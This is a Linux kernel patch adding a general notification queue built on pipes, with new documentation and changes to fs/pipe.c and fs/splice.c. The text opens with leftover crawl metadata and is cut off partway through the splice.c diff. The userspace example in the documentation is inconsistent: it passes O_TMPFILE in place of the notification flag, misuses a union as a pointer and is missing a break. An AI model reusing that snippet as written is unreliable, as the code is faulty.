12446,
12452,
12465,
12532,
12554,
12561,
12565,
12590,
12596,
12639,
12645,
12646,
12673,
12685
],
"line_end_idx": [
51,
67,
68,
122,
123,
185,
186,
187,
221,
284,
311,
336,
360,
361,
366,
431,
484,
486,
557,
628,
696,
734,
736,
803,
869,
933,
981,
984,
1053,
1116,
1177,
1183,
1186,
1209,
1231,
1254,
1277,
1306,
1335,
1355,
1379,
1382,
1400,
1424,
1434,
1437,
1501,
1543,
1548,
1602,
1653,
1701,
1748,
1810,
1865,
1920,
1981,
2036,
2091,
2146,
2202,
2257,
2312,
2367,
2421,
2484,
2510,
2582,
2640,
2673,
2753,
2800,
2842,
2920,
2972,
3018,
3069,
3117,
3175,
3219,
3275,
3320,
3376,
3420,
3478,
3522,
3580,
3624,
3680,
3725,
3781,
3826,
3884,
3926,
3932,
3935,
4009,
4039,
4075,
4146,
4198,
4262,
4308,
4311,
4377,
4447,
4450,
4534,
4588,
4655,
4685,
4720,
4725,
4782,
4788,
4810,
4837,
4863,
4900,
4935,
4977,
5017,
5061,
5082,
5089,
5125,
5171,
5205,
5267,
5273,
5277,
5329,
5369,
5376,
5441,
5481,
5497,
5503,
5525,
5529,
5575,
5619,
5667,
5713,
5762,
5818,
5848,
5869,
5891,
5910,
5932,
5956,
5978,
6006,
6033,
6080,
6104,
6149,
6173,
6200,
6225,
6254,
6271,
6300,
6331,
6350,
6387,
6406,
6443,
6462,
6499,
6518,
6555,
6574,
6611,
6630,
6639,
6658,
6731,
6754,
6811,
6872,
6932,
6993,
7051,
7108,
7117,
7174,
7180,
7201,
7222,
7241,
7262,
7286,
7307,
7335,
7361,
7408,
7431,
7476,
7499,
7512,
7564,
7585,
7607,
7616,
7637,
7643,
7677,
7696,
7718,
7727,
7748,
7754,
7798,
7822,
7844,
7853,
7874,
7880,
7932,
7960,
7987,
7996,
8022,
8028,
8072,
8119,
8143,
8193,
8217,
8264,
8287,
8337,
8360,
8366,
8372,
8378,
8382,
8440,
8486,
8492,
8509,
8548,
8580,
8599,
8603,
8607,
8627,
8694,
8723,
8796,
8826,
8900,
8931,
9003,
9032,
9051,
9093,
9119,
9123,
9149,
9153,
9205,
9261,
9298,
9304,
9317,
9321,
9385,
9431,
9478,
9506,
9555,
9614,
9620,
9633,
9639,
9643,
9679,
9735,
9772,
9822,
9881,
9887,
9893,
9897,
9930,
9952,
9956,
9972,
10017,
10021,
10063,
10086,
10090,
10114,
10120,
10124,
10196,
10218,
10224,
10260,
10274,
10289,
10293,
10336,
10395,
10447,
10510,
10523,
10539,
10554,
10560,
10583,
10589,
10593,
10656,
10662,
10702,
10730,
10741,
10745,
10778,
10828,
10832,
10908,
10970,
11024,
11050,
11126,
11185,
11218,
11224,
11260,
11306,
11312,
11316,
11320,
11379,
11385,
11396,
11424,
11455,
11495,
11499,
11535,
11571,
11594,
11619,
11643,
11666,
11691,
11715,
11719,
11779,
11850,
11868,
11872,
11903,
11934,
11938,
12014,
12076,
12130,
12156,
12160,
12224,
12271,
12304,
12310,
12346,
12392,
12398,
12402,
12446,
12452,
12465,
12532,
12554,
12561,
12565,
12590,
12596,
12639,
12645,
12646,
12673,
12685,
12711
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 12711,
"ccnet_original_nlines": 389,
"rps_doc_curly_bracket": 0.004562980029731989,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.12558139860630035,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.04217053949832916,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.5832558274269104,
"rps_doc_frac_unique_words": 0.6100000143051147,
"rps_doc_mean_word_length": 6.169230937957764,
"rps_doc_num_sentences": 53,
"rps_doc_symbol_to_word_ratio": 0.0040310099720954895,
"rps_doc_unigram_entropy": 6.281763553619385,
"rps_doc_word_count": 1300,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.05311720818281174,
"rps_doc_frac_chars_dupe_6grams": 0.04588529095053673,
"rps_doc_frac_chars_dupe_7grams": 0.016458850353956223,
"rps_doc_frac_chars_dupe_8grams": 0.014713220298290253,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.009725689888000488,
"rps_doc_frac_chars_top_3gram": 0.0105985002592206,
"rps_doc_frac_chars_top_4gram": 0.008603489957749844,
"rps_doc_books_importance": -1443.4173583984375,
"rps_doc_books_importance_length_correction": -1443.4173583984375,
"rps_doc_openwebtext_importance": -834.83349609375,
"rps_doc_openwebtext_importance_length_correction": -834.83349609375,
"rps_doc_wikipedia_importance": -557.4597778320312,
"rps_doc_wikipedia_importance_length_correction": -557.4597778320312
},
"fasttext": {
"dclm": 0.2440476417541504,
"english": 0.4276748299598694,
"fineweb_edu_approx": 1.5587693452835083,
"eai_general_math": 0.3181726932525635,
"eai_open_web_math": 0.8269930481910706,
"eai_web_code": 0.18634510040283203
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.452",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "4",
"label": "Code/Software"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "1",
"label": "Leftover HTML"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "3",
"label": "Academic Writing"
}
},
"reasoning_depth": {
"primary": {
"code": "4",
"label": "Advanced Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "4",
"label": "Graduate/Expert Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
1,687,659,491,985,861,400 | [PATCH 05/17] pipe: Add general notification queue support [ver #5]
David Howells dhowells at redhat.com
Wed Mar 18 15:03:58 UTC 2020
Make it possible to have a general notification queue built on top of a
standard pipe. Notifications are 'spliced' into the pipe and then read
out. splice(), vmsplice() and sendfile() are forbidden on pipes used for
notifications as post_one_notification() cannot take pipe->mutex. This
means that notifications could be posted in between individual pipe
buffers, making iov_iter_revert() difficult to effect.
The way the notification queue is used is:
(1) An application opens a pipe with a special flag and indicates the
number of messages it wishes to be able to queue at once (this can
only be set once):
pipe2(fds, O_NOTIFICATION_PIPE);
ioctl(fds[0], IOC_WATCH_QUEUE_SET_SIZE, queue_depth);
(2) The application then uses poll() and read() as normal to extract data
from the pipe. read() will return multiple notifications if the
buffer is big enough, but it will not split a notification across
buffers - rather it will return a short read or EMSGSIZE.
Notification messages include a length in the header so that the
caller can split them up.
Each message has a header that describes it:
struct watch_notification {
__u32 type:24;
__u32 subtype:8;
__u32 info;
};
The type indicates the source (eg. mount tree changes, superblock events,
keyring changes, block layer events) and the subtype indicates the event
type (eg. mount, unmount; EIO, EDQUOT; link, unlink). The info field
indicates a number of things, including the entry length, an ID assigned to
a watchpoint contributing to this buffer and type-specific flags.
Supplementary data, such as the key ID that generated an event, can be
attached in additional slots. The maximum message size is 127 bytes.
Messages may not be padded or aligned, so there is no guarantee, for
example, that the notification type will be on a 4-byte bounary.
Signed-off-by: David Howells <dhowells at redhat.com>
---
Documentation/userspace-api/ioctl/ioctl-number.rst | 1
Documentation/watch_queue.rst | 339 ++++++++++
fs/pipe.c | 206 ++++--
fs/splice.c | 12
include/linux/pipe_fs_i.h | 19 +
include/linux/watch_queue.h | 127 ++++
include/uapi/linux/watch_queue.h | 20 +
init/Kconfig | 12
kernel/Makefile | 1
kernel/watch_queue.c | 657 ++++++++++++++++++++
10 files changed, 1318 insertions(+), 76 deletions(-)
create mode 100644 Documentation/watch_queue.rst
create mode 100644 include/linux/watch_queue.h
create mode 100644 kernel/watch_queue.c
diff --git a/Documentation/userspace-api/ioctl/ioctl-number.rst b/Documentation/userspace-api/ioctl/ioctl-number.rst
index 2e91370dc159..cdf8551d70d7 100644
--- a/Documentation/userspace-api/ioctl/ioctl-number.rst
+++ b/Documentation/userspace-api/ioctl/ioctl-number.rst
@@ -201,6 +201,7 @@ Code Seq# Include File Comments
'W' 00-1F linux/wanrouter.h conflict! (pre 3.9)
'W' 00-3F sound/asound.h conflict!
'W' 40-5F drivers/pci/switch/switchtec.c
+'W' 60-61 linux/watch_queue.h
'X' all fs/xfs/xfs_fs.h, conflict!
fs/xfs/linux-2.6/xfs_ioctl32.h,
include/linux/falloc.h,
diff --git a/Documentation/watch_queue.rst b/Documentation/watch_queue.rst
new file mode 100644
index 000000000000..849fad6893ef
--- /dev/null
+++ b/Documentation/watch_queue.rst
@@ -0,0 +1,339 @@
+==============================
+General notification mechanism
+==============================
+
+The general notification mechanism is built on top of the standard pipe driver
+whereby it effectively splices notification messages from the kernel into pipes
+opened by userspace. This can be used in conjunction with::
+
+ * Key/keyring notifications
+
+
+The notifications buffers can be enabled by:
+
+ "General setup"/"General notification queue"
+ (CONFIG_WATCH_QUEUE)
+
+This document has the following sections:
+
+.. contents:: :local:
+
+
+Overview
+========
+
+This facility appears as a pipe that is opened in a special mode. The pipe's
+internal ring buffer is used to hold messages that are generated by the kernel.
+These messages are then read out by read(). Splice and similar are disabled on
+such pipes due to them wanting to, under some circumstances, revert their
+additions to the ring - which might end up interleaved with notification
+messages.
+
+The owner of the pipe has to tell the kernel which sources it would like to
+watch through that pipe. Only sources that have been connected to a pipe will
+insert messages into it. Note that a source may be bound to multiple pipes and
+insert messages into all of them simultaneously.
+
+Filters may also be emplaced on a pipe so that certain source types and
+subevents can be ignored if they're not of interest.
+
+A message will be discarded if there isn't a slot available in the ring or if
+no preallocated message buffer is available. In both of these cases, read()
+will insert a WATCH_META_LOSS_NOTIFICATION message into the output buffer after
+the last message currently in the buffer has been read.
+
+Note that when producing a notification, the kernel does not wait for the
+consumers to collect it, but rather just continues on. This means that
+notifications can be generated whilst spinlocks are held and also protects the
+kernel from being held up indefinitely by a userspace malfunction.
+
+
+Message Structure
+=================
+
+Notification messages begin with a short header::
+
+ struct watch_notification {
+ __u32 type:24;
+ __u32 subtype:8;
+ __u32 info;
+ };
+
+"type" indicates the source of the notification record and "subtype" indicates
+the type of record from that source (see the Watch Sources section below). The
+type may also be "WATCH_TYPE_META". This is a special record type generated
+internally by the watch queue itself. There are two subtypes:
+
+ * WATCH_META_REMOVAL_NOTIFICATION
+ * WATCH_META_LOSS_NOTIFICATION
+
+The first indicates that an object on which a watch was installed was removed
+or destroyed and the second indicates that some messages have been lost.
+
+"info" indicates a bunch of things, including:
+
+ * The length of the message in bytes, including the header (mask with
+ WATCH_INFO_LENGTH and shift by WATCH_INFO_LENGTH__SHIFT). This indicates
+ the size of the record, which may be between 8 and 127 bytes.
+
+ * The watch ID (mask with WATCH_INFO_ID and shift by WATCH_INFO_ID__SHIFT).
+ This indicates that caller's ID of the watch, which may be between 0
+ and 255. Multiple watches may share a queue, and this provides a means to
+ distinguish them.
+
+ * A type-specific field (WATCH_INFO_TYPE_INFO). This is set by the
+ notification producer to indicate some meaning specific to the type and
+ subtype.
+
+Everything in info apart from the length can be used for filtering.
+
+The header can be followed by supplementary information. The format of this is
+at the discretion is defined by the type and subtype.
+
+
+Watch List (Notification Source) API
+====================================
+
+A "watch list" is a list of watchers that are subscribed to a source of
+notifications. A list may be attached to an object (say a key or a superblock)
+or may be global (say for device events). From a userspace perspective, a
+non-global watch list is typically referred to by reference to the object it
+belongs to (such as using KEYCTL_NOTIFY and giving it a key serial number to
+watch that specific key).
+
+To manage a watch list, the following functions are provided:
+
+ * ``void init_watch_list(struct watch_list *wlist,
+ void (*release_watch)(struct watch *wlist));``
+
+ Initialise a watch list. If ``release_watch`` is not NULL, then this
+ indicates a function that should be called when the watch_list object is
+ destroyed to discard any references the watch list holds on the watched
+ object.
+
+ * ``void remove_watch_list(struct watch_list *wlist);``
+
+ This removes all of the watches subscribed to a watch_list and frees them
+ and then destroys the watch_list object itself.
+
+
+Watch Queue (Notification Output) API
+=====================================
+
+A "watch queue" is the buffer allocated by an application that notification
+records will be written into. The workings of this are hidden entirely inside
+of the pipe device driver, but it is necessary to gain a reference to it to set
+a watch. These can be managed with:
+
+ * ``struct watch_queue *get_watch_queue(int fd);``
+
+ Since watch queues are indicated to the kernel by the fd of the pipe that
+ implements the buffer, userspace must hand that fd through a system call.
+ This can be used to look up an opaque pointer to the watch queue from the
+ system call.
+
+ * ``void put_watch_queue(struct watch_queue *wqueue);``
+
+ This discards the reference obtained from ``get_watch_queue()``.
+
+
+Watch Subscription API
+======================
+
+A "watch" is a subscription on a watch list, indicating the watch queue, and
+thus the buffer, into which notification records should be written. The watch
+queue object may also carry filtering rules for that object, as set by
+userspace. Some parts of the watch struct can be set by the driver::
+
+ struct watch {
+ union {
+ u32 info_id; /* ID to be OR'd in to info field */
+ ...
+ };
+ void *private; /* Private data for the watched object */
+ u64 id; /* Internal identifier */
+ ...
+ };
+
+The ``info_id`` value should be an 8-bit number obtained from userspace and
+shifted by WATCH_INFO_ID__SHIFT. This is OR'd into the WATCH_INFO_ID field of
+struct watch_notification::info when and if the notification is written into
+the associated watch queue buffer.
+
+The ``private`` field is the driver's data associated with the watch_list and
+is cleaned up by the ``watch_list::release_watch()`` method.
+
+The ``id`` field is the source's ID. Notifications that are posted with a
+different ID are ignored.
+
+The following functions are provided to manage watches:
+
+ * ``void init_watch(struct watch *watch, struct watch_queue *wqueue);``
+
+ Initialise a watch object, setting its pointer to the watch queue, using
+ appropriate barriering to avoid lockdep complaints.
+
+ * ``int add_watch_to_object(struct watch *watch, struct watch_list *wlist);``
+
+ Subscribe a watch to a watch list (notification source). The
+ driver-settable fields in the watch struct must have been set before this
+ is called.
+
+ * ``int remove_watch_from_object(struct watch_list *wlist,
+ struct watch_queue *wqueue,
+ u64 id, false);``
+
+ Remove a watch from a watch list, where the watch must match the specified
+ watch queue (``wqueue``) and object identifier (``id``). A notification
+ (``WATCH_META_REMOVAL_NOTIFICATION``) is sent to the watch queue to
+ indicate that the watch got removed.
+
+ * ``int remove_watch_from_object(struct watch_list *wlist, NULL, 0, true);``
+
+ Remove all the watches from a watch list. It is expected that this will be
+ called preparatory to destruction and that the watch list will be
+ inaccessible to new watches by this point. A notification
+ (``WATCH_META_REMOVAL_NOTIFICATION``) is sent to the watch queue of each
+ subscribed watch to indicate that the watch got removed.
+
+
+Notification Posting API
+========================
+
+To post a notification to watch list so that the subscribed watches can see it,
+the following function should be used::
+
+ void post_watch_notification(struct watch_list *wlist,
+ struct watch_notification *n,
+ const struct cred *cred,
+ u64 id);
+
+The notification should be preformatted and a pointer to the header (``n``)
+should be passed in. The notification may be larger than this and the size in
+units of buffer slots is noted in ``n->info & WATCH_INFO_LENGTH``.
+
+The ``cred`` struct indicates the credentials of the source (subject) and is
+passed to the LSMs, such as SELinux, to allow or suppress the recording of the
+note in each individual queue according to the credentials of that queue
+(object).
+
+The ``id`` is the ID of the source object (such as the serial number on a key).
+Only watches that have the same ID set in them will see this notification.
+
+
+Watch Sources
+=============
+
+Any particular buffer can be fed from multiple sources. Sources include:
+
+ * WATCH_TYPE_KEY_NOTIFY
+
+ Notifications of this type indicate changes to keys and keyrings, including
+ the changes of keyring contents or the attributes of keys.
+
+ See Documentation/security/keys/core.rst for more information.
+
+
+Event Filtering
+===============
+
+Once a watch queue has been created, a set of filters can be applied to limit
+the events that are received using::
+
+ struct watch_notification_filter filter = {
+ ...
+ };
+ ioctl(fd, IOC_WATCH_QUEUE_SET_FILTER, &filter)
+
+The filter description is a variable of type::
+
+ struct watch_notification_filter {
+ __u32 nr_filters;
+ __u32 __reserved;
+ struct watch_notification_type_filter filters[];
+ };
+
+Where "nr_filters" is the number of filters in filters[] and "__reserved"
+should be 0. The "filters" array has elements of the following type::
+
+ struct watch_notification_type_filter {
+ __u32 type;
+ __u32 info_filter;
+ __u32 info_mask;
+ __u32 subtype_filter[8];
+ };
+
+Where:
+
+ * ``type`` is the event type to filter for and should be something like
+ "WATCH_TYPE_KEY_NOTIFY"
+
+ * ``info_filter`` and ``info_mask`` act as a filter on the info field of the
+ notification record. The notification is only written into the buffer if::
+
+ (watch.info & info_mask) == info_filter
+
+ This could be used, for example, to ignore events that are not exactly on
+ the watched point in a mount tree.
+
+ * ``subtype_filter`` is a bitmask indicating the subtypes that are of
+ interest. Bit 0 of subtype_filter[0] corresponds to subtype 0, bit 1 to
+ subtype 1, and so on.
+
+If the argument to the ioctl() is NULL, then the filters will be removed and
+all events from the watched sources will come through.
+
+
+Userspace Code Example
+======================
+
+A buffer is created with something like the following::
+
+ pipe2(fds, O_TMPFILE);
+ ioctl(fds[1], IOC_WATCH_QUEUE_SET_SIZE, 256);
+
+It can then be set to receive keyring change notifications::
+
+ keyctl(KEYCTL_WATCH_KEY, KEY_SPEC_SESSION_KEYRING, fds[1], 0x01);
+
+The notifications can then be consumed by something like the following::
+
+ static void consumer(int rfd, struct watch_queue_buffer *buf)
+ {
+ unsigned char buffer[128];
+ ssize_t buf_len;
+
+ while (buf_len = read(rfd, buffer, sizeof(buffer)),
+ buf_len > 0
+ ) {
+ void *p = buffer;
+ void *end = buffer + buf_len;
+ while (p < end) {
+ union {
+ struct watch_notification n;
+ unsigned char buf1[128];
+ } n;
+ size_t largest, len;
+
+ largest = end - p;
+ if (largest > 128)
+ largest = 128;
+ memcpy(&n, p, largest);
+
+ len = (n->info & WATCH_INFO_LENGTH) >>
+ WATCH_INFO_LENGTH__SHIFT;
+ if (len == 0 || len > largest)
+ return;
+
+ switch (n.n.type) {
+ case WATCH_TYPE_META:
+ got_meta(&n.n);
+ case WATCH_TYPE_KEY_NOTIFY:
+ saw_key_change(&n.n);
+ break;
+ }
+
+ p += len;
+ }
+ }
+ }
diff --git a/fs/pipe.c b/fs/pipe.c
index 2144507447c5..4d86274f9a6e 100644
--- a/fs/pipe.c
+++ b/fs/pipe.c
@@ -24,6 +24,7 @@
#include <linux/syscalls.h>
#include <linux/fcntl.h>
#include <linux/memcontrol.h>
+#include <linux/watch_queue.h>
#include <linux/uaccess.h>
#include <asm/ioctls.h>
@@ -459,6 +460,13 @@ pipe_write(struct kiocb *iocb, struct iov_iter *from)
goto out;
}
+#ifdef CONFIG_WATCH_QUEUE
+ if (pipe->watch_queue) {
+ ret = -EXDEV;
+ goto out;
+ }
+#endif
+
/*
* Only wake up if the pipe started out empty, since
* otherwise there should be no readers waiting.
@@ -628,22 +636,37 @@ static long pipe_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
int count, head, tail, mask;
switch (cmd) {
- case FIONREAD:
- __pipe_lock(pipe);
- count = 0;
- head = pipe->head;
- tail = pipe->tail;
- mask = pipe->ring_size - 1;
+ case FIONREAD:
+ __pipe_lock(pipe);
+ count = 0;
+ head = pipe->head;
+ tail = pipe->tail;
+ mask = pipe->ring_size - 1;
- while (tail != head) {
- count += pipe->bufs[tail & mask].len;
- tail++;
- }
- __pipe_unlock(pipe);
+ while (tail != head) {
+ count += pipe->bufs[tail & mask].len;
+ tail++;
+ }
+ __pipe_unlock(pipe);
- return put_user(count, (int __user *)arg);
- default:
- return -ENOIOCTLCMD;
+ return put_user(count, (int __user *)arg);
+
+#ifdef CONFIG_WATCH_QUEUE
+ case IOC_WATCH_QUEUE_SET_SIZE: {
+ int ret;
+ __pipe_lock(pipe);
+ ret = watch_queue_set_size(pipe, arg);
+ __pipe_unlock(pipe);
+ return ret;
+ }
+
+ case IOC_WATCH_QUEUE_SET_FILTER:
+ return watch_queue_set_filter(
+ pipe, (struct watch_notification_filter __user *)arg);
+#endif
+
+ default:
+ return -ENOIOCTLCMD;
}
}
@@ -754,27 +777,27 @@ pipe_fasync(int fd, struct file *filp, int on)
return retval;
}
-static unsigned long account_pipe_buffers(struct user_struct *user,
- unsigned long old, unsigned long new)
+unsigned long account_pipe_buffers(struct user_struct *user,
+ unsigned long old, unsigned long new)
{
return atomic_long_add_return(new - old, &user->pipe_bufs);
}
-static bool too_many_pipe_buffers_soft(unsigned long user_bufs)
+bool too_many_pipe_buffers_soft(unsigned long user_bufs)
{
unsigned long soft_limit = READ_ONCE(pipe_user_pages_soft);
return soft_limit && user_bufs > soft_limit;
}
-static bool too_many_pipe_buffers_hard(unsigned long user_bufs)
+bool too_many_pipe_buffers_hard(unsigned long user_bufs)
{
unsigned long hard_limit = READ_ONCE(pipe_user_pages_hard);
return hard_limit && user_bufs > hard_limit;
}
-static bool is_unprivileged_user(void)
+bool pipe_is_unprivileged_user(void)
{
return !capable(CAP_SYS_RESOURCE) && !capable(CAP_SYS_ADMIN);
}
@@ -796,12 +819,12 @@ struct pipe_inode_info *alloc_pipe_info(void)
user_bufs = account_pipe_buffers(user, 0, pipe_bufs);
- if (too_many_pipe_buffers_soft(user_bufs) && is_unprivileged_user()) {
+ if (too_many_pipe_buffers_soft(user_bufs) && pipe_is_unprivileged_user()) {
user_bufs = account_pipe_buffers(user, pipe_bufs, 1);
pipe_bufs = 1;
}
- if (too_many_pipe_buffers_hard(user_bufs) && is_unprivileged_user())
+ if (too_many_pipe_buffers_hard(user_bufs) && pipe_is_unprivileged_user())
goto out_revert_acct;
pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer),
@@ -813,6 +836,7 @@ struct pipe_inode_info *alloc_pipe_info(void)
pipe->r_counter = pipe->w_counter = 1;
pipe->max_usage = pipe_bufs;
pipe->ring_size = pipe_bufs;
+ pipe->nr_accounted = pipe_bufs;
pipe->user = user;
mutex_init(&pipe->mutex);
return pipe;
@@ -830,7 +854,14 @@ void free_pipe_info(struct pipe_inode_info *pipe)
{
int i;
- (void) account_pipe_buffers(pipe->user, pipe->ring_size, 0);
+#ifdef CONFIG_WATCH_QUEUE
+ if (pipe->watch_queue) {
+ watch_queue_clear(pipe->watch_queue);
+ put_watch_queue(pipe->watch_queue);
+ }
+#endif
+
+ (void) account_pipe_buffers(pipe->user, pipe->nr_accounted, 0);
free_uid(pipe->user);
for (i = 0; i < pipe->ring_size; i++) {
struct pipe_buffer *buf = pipe->bufs + i;
@@ -906,6 +937,17 @@ int create_pipe_files(struct file **res, int flags)
if (!inode)
return -ENFILE;
+ if (flags & O_NOTIFICATION_PIPE) {
+#ifdef CONFIG_WATCH_QUEUE
+ if (watch_queue_init(inode->i_pipe) < 0) {
+ iput(inode);
+ return -ENOMEM;
+ }
+#else
+ return -ENOPKG;
+#endif
+ }
+
f = alloc_file_pseudo(inode, pipe_mnt, "",
O_WRONLY | (flags & (O_NONBLOCK | O_DIRECT)),
&pipefifo_fops);
@@ -936,7 +978,7 @@ static int __do_pipe_flags(int *fd, struct file **files, int flags)
int error;
int fdw, fdr;
- if (flags & ~(O_CLOEXEC | O_NONBLOCK | O_DIRECT))
+ if (flags & ~(O_CLOEXEC | O_NONBLOCK | O_DIRECT | O_NOTIFICATION_PIPE))
return -EINVAL;
error = create_pipe_files(files, flags);
@@ -1184,42 +1226,12 @@ unsigned int round_pipe_size(unsigned long size)
}
/*
- * Allocate a new array of pipe buffers and copy the info over. Returns the
- * pipe size if successful, or return -ERROR on error.
+ * Resize the pipe ring to a number of slots.
*/
-static long pipe_set_size(struct pipe_inode_info *pipe, unsigned long arg)
+int pipe_resize_ring(struct pipe_inode_info *pipe, unsigned int nr_slots)
{
struct pipe_buffer *bufs;
- unsigned int size, nr_slots, head, tail, mask, n;
- unsigned long user_bufs;
- long ret = 0;
-
- size = round_pipe_size(arg);
- nr_slots = size >> PAGE_SHIFT;
-
- if (!nr_slots)
- return -EINVAL;
-
- /*
- * If trying to increase the pipe capacity, check that an
- * unprivileged user is not trying to exceed various limits
- * (soft limit check here, hard limit check just below).
- * Decreasing the pipe capacity is always permitted, even
- * if the user is currently over a limit.
- */
- if (nr_slots > pipe->ring_size &&
- size > pipe_max_size && !capable(CAP_SYS_RESOURCE))
- return -EPERM;
-
- user_bufs = account_pipe_buffers(pipe->user, pipe->ring_size, nr_slots);
-
- if (nr_slots > pipe->ring_size &&
- (too_many_pipe_buffers_hard(user_bufs) ||
- too_many_pipe_buffers_soft(user_bufs)) &&
- is_unprivileged_user()) {
- ret = -EPERM;
- goto out_revert_acct;
- }
+ unsigned int head, tail, mask, n;
/*
* We can shrink the pipe, if arg is greater than the ring occupancy.
@@ -1231,17 +1243,13 @@ static long pipe_set_size(struct pipe_inode_info *pipe, unsigned long arg)
head = pipe->head;
tail = pipe->tail;
n = pipe_occupancy(pipe->head, pipe->tail);
- if (nr_slots < n) {
- ret = -EBUSY;
- goto out_revert_acct;
- }
+ if (nr_slots < n)
+ return -EBUSY;
bufs = kcalloc(nr_slots, sizeof(*bufs),
GFP_KERNEL_ACCOUNT | __GFP_NOWARN);
- if (unlikely(!bufs)) {
- ret = -ENOMEM;
- goto out_revert_acct;
- }
+ if (unlikely(!bufs))
+ return -ENOMEM;
/*
* The pipe array wraps around, so just start the new one at zero
@@ -1269,16 +1277,68 @@ static long pipe_set_size(struct pipe_inode_info *pipe, unsigned long arg)
kfree(pipe->bufs);
pipe->bufs = bufs;
pipe->ring_size = nr_slots;
- pipe->max_usage = nr_slots;
+ if (pipe->max_usage > nr_slots)
+ pipe->max_usage = nr_slots;
pipe->tail = tail;
pipe->head = head;
/* This might have made more room for writers */
wake_up_interruptible(&pipe->wr_wait);
+ return 0;
+}
+
+/*
+ * Allocate a new array of pipe buffers and copy the info over. Returns the
+ * pipe size if successful, or return -ERROR on error.
+ */
+static long pipe_set_size(struct pipe_inode_info *pipe, unsigned long arg)
+{
+ unsigned long user_bufs;
+ unsigned int nr_slots, size;
+ long ret = 0;
+
+#ifdef CONFIG_WATCH_QUEUE
+ if (pipe->watch_queue)
+ return -EBUSY;
+#endif
+
+ size = round_pipe_size(arg);
+ nr_slots = size >> PAGE_SHIFT;
+
+ if (!nr_slots)
+ return -EINVAL;
+
+ /*
+ * If trying to increase the pipe capacity, check that an
+ * unprivileged user is not trying to exceed various limits
+ * (soft limit check here, hard limit check just below).
+ * Decreasing the pipe capacity is always permitted, even
+ * if the user is currently over a limit.
+ */
+ if (nr_slots > pipe->max_usage &&
+ size > pipe_max_size && !capable(CAP_SYS_RESOURCE))
+ return -EPERM;
+
+ user_bufs = account_pipe_buffers(pipe->user, pipe->nr_accounted, nr_slots);
+
+ if (nr_slots > pipe->max_usage &&
+ (too_many_pipe_buffers_hard(user_bufs) ||
+ too_many_pipe_buffers_soft(user_bufs)) &&
+ pipe_is_unprivileged_user()) {
+ ret = -EPERM;
+ goto out_revert_acct;
+ }
+
+ ret = pipe_resize_ring(pipe, nr_slots);
+ if (ret < 0)
+ goto out_revert_acct;
+
+ pipe->max_usage = nr_slots;
+ pipe->nr_accounted = nr_slots;
return pipe->max_usage * PAGE_SIZE;
out_revert_acct:
- (void) account_pipe_buffers(pipe->user, nr_slots, pipe->ring_size);
+ (void) account_pipe_buffers(pipe->user, nr_slots, pipe->nr_accounted);
return ret;
}
@@ -1287,9 +1347,17 @@ static long pipe_set_size(struct pipe_inode_info *pipe, unsigned long arg)
* location, so checking ->i_pipe is not enough to verify that this is a
* pipe.
*/
-struct pipe_inode_info *get_pipe_info(struct file *file)
+struct pipe_inode_info *get_pipe_info(struct file *file, bool for_splice)
{
- return file->f_op == &pipefifo_fops ? file->private_data : NULL;
+ struct pipe_inode_info *pipe = file->private_data;
+
+ if (file->f_op != &pipefifo_fops || !pipe)
+ return NULL;
+#ifdef CONFIG_WATCH_QUEUE
+ if (for_splice && pipe->watch_queue)
+ return NULL;
+#endif
+ return pipe;
}
long pipe_fcntl(struct file *file, unsigned int cmd, unsigned long arg)
@@ -1297,7 +1365,7 @@ long pipe_fcntl(struct file *file, unsigned int cmd, unsigned long arg)
struct pipe_inode_info *pipe;
long ret;
- pipe = get_pipe_info(file);
+ pipe = get_pipe_info(file, false);
if (!pipe)
return -EBADF;
diff --git a/fs/splice.c b/fs/splice.c
index d671936d0aad..6e6ea30c72b4 100644
--- a/fs/splice.c
+++ b/fs/splice.c
@@ -1118,8 +1118,8 @@ static long do_splice(struct file *in, loff_t __user *off_in,
loff_t offset;
long ret;
- ipipe = get_pipe_info(in);
- opipe = get_pipe_info(out);
+ ipipe = get_pipe_info(in, true);
+ opipe = get_pipe_info(out, true);
if (ipipe && opipe) {
if (off_in || off_out)
@@ -1278,7 +1278,7 @@ static int pipe_to_user(struct pipe_inode_info *pipe, struct pipe_buffer *buf,
static long vmsplice_to_user(struct file *file, struct iov_iter *iter,
unsigned int flags)
{
- struct pipe_inode_info *pipe = get_pipe_info(file);
+ struct pipe_inode_info *pipe = get_pipe_info(file, true);
struct splice_desc sd = {
.total_len = iov_iter_count(iter),
.flags = flags,
@@ -1313,7 +1313,7 @@ static long vmsplice_to_pipe(struct file *file, struct iov_iter *iter,
if (flags & SPLICE_F_GIFT)
buf_flag = PIPE_BUF_FLAG_GIFT;
- pipe = get_pipe_info(file);
+ pipe = get_pipe_info(file, true);
if (!pipe)
return -EBADF;
